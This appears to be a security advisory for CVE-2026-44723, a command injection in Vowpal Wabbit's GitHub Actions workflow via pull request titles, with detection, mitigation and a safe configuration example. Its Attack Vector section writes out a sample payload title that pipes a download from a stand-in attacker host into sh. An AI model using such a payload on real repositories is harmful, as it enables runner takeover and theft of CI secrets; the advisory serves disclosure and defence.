CVE-2026-44723: Vowpal Wabbit GitHub Workflow RCE Flaw

CVE-2026-44723 Overview

CVE-2026-44723 is a command injection vulnerability in Vowpal Wabbit, an open-source machine learning system. The flaw resides in the .github/workflows/python_checks.yml GitHub Actions workflow. The workflow embeds ${{ github.event.pull_request.title }} directly inside double-quoted bash strings across four separate steps in four jobs. Each occurrence passes the title as a CLI argument to the run_tests_model_gen_and_load.py Python test script. An attacker who submits a crafted pull request title can break out of the quotes and execute arbitrary commands on the GitHub Actions runner. The pull_request trigger fires on PRs targeting any branch with no additional access gate, exposing the workflow to untrusted contributors. The issue is tracked under CWE-78 (OS Command Injection).

Critical Impact
Attackers can execute arbitrary commands on the Vowpal Wabbit GitHub Actions runner by submitting a pull request with a malicious title, potentially compromising CI secrets and build artifacts.

Affected Products

Vowpal Wabbit repository workflow .github/workflows/python_checks.yml
Vowpal Wabbit CI environments prior to commit 998e390e80a7e8192d7849b7784bc113dbd190ad
GitHub Actions runners executing the vulnerable workflow on pull request events

Discovery Timeline

2026-05-26 - CVE-2026-44723 published to NVD
2026-05-28 - Last updated in NVD database

Technical Details for CVE-2026-44723

Vulnerability Analysis

The vulnerability stems from unsafe interpolation of attacker-controlled GitHub event data into shell commands. The workflow .github/workflows/python_checks.yml references ${{ github.event.pull_request.title }} within double-quoted bash arguments. GitHub Actions performs template expansion before the shell parses the resulting script. This causes the title string to be inlined verbatim into the command line. A pull request author controls the title, so any shell metacharacter placed there is interpreted by bash on the runner.

The affected script invocation passes the expanded value as an argument to run_tests_model_gen_and_load.py. Because the expansion happens prior to shell parsing, embedded quotes, backticks, command substitutions, or semicolons break out of the intended argument context. The same pattern repeats in four steps across four jobs, multiplying exploitation paths.

Root Cause

The root cause is direct embedding of untrusted GitHub context data into a shell script without sanitization or environment-variable indirection. GitHub's own hardening guidance recommends assigning such values to an environment variable and referencing them as "$VAR" to prevent template-time injection. The workflow does neither.

Attack Vector

An external attacker forks the repository and opens a pull request targeting any branch. The branch filter branches: ['*'] allows the trigger to fire without maintainer approval. The attacker sets the pull request title to a payload such as "; curl attacker.tld | sh; #. When the workflow runs, the bash shell parses the injected commands and executes them on the runner with access to the workflow's permissions and any secrets exposed to the job.

No verified public exploit code is published. The vulnerability mechanism is described in the GitHub Security Advisory GHSA-cg2g-xgg7-3xxq.

Detection Methods for CVE-2026-44723

Indicators of Compromise

Unexpected outbound network connections from GitHub-hosted runners executing the python_checks workflow.
Workflow run logs containing shell metacharacters such as backticks, ;, &&, or $( inside the pull request title field.
Git commit or release artifact modifications originating from CI jobs without a corresponding maintainer action.

Detection Strategies

Audit GitHub Actions workflow files for direct use of ${{ github.event.* }} expressions inside run: blocks, particularly inputs derived from pull request titles, bodies, or branch names.
Review workflow run history for pull requests whose titles contain shell metacharacters or non-printable characters.
Correlate CI runner network telemetry with workflow execution timestamps to identify anomalous egress.

Monitoring Recommendations

Enable GitHub audit log streaming and forward workflow execution events to a centralized analytics platform for review.
Monitor for new or modified workflow files in pull requests that introduce untrusted context interpolation.
Alert on outbound connections from CI runners to domains outside an approved allowlist.

How to Mitigate CVE-2026-44723

Immediate Actions Required

Update the Vowpal Wabbit repository to include commit 998e390e80a7e8192d7849b7784bc113dbd190ad, which removes the unsafe interpolation.
Rotate any secrets that were available to the python_checks workflow, including deploy keys, package registry tokens, and cloud credentials.
Review recent pull request activity for titles containing shell metacharacters and inspect the corresponding workflow logs.

Patch Information

The fix is published as commit 998e390e80a7e8192d7849b7784bc113dbd190ad in the Vowpal Wabbit repository. Maintainers should rebase or merge this commit into any long-lived branches that retain the vulnerable workflow. Refer to the GitHub Security Advisory GHSA-cg2g-xgg7-3xxq for advisory details.

Workarounds

Replace direct ${{ github.event.pull_request.title }} expansion with an environment variable assignment, then reference "$PR_TITLE" inside the shell script.
Restrict the pull_request trigger by replacing it with pull_request_target only when paired with explicit authorization checks, or gate execution behind a maintainer approval step.
Reduce job permissions using permissions: read-all or finer-grained scopes, and disable secret exposure to workflows triggered by forked pull requests.

bash

# Configuration example: safe handling of pull request title in workflow
env:
  PR_TITLE: ${{ github.event.pull_request.title }}
run: |
  python run_tests_model_gen_and_load.py --title "$PR_TITLE"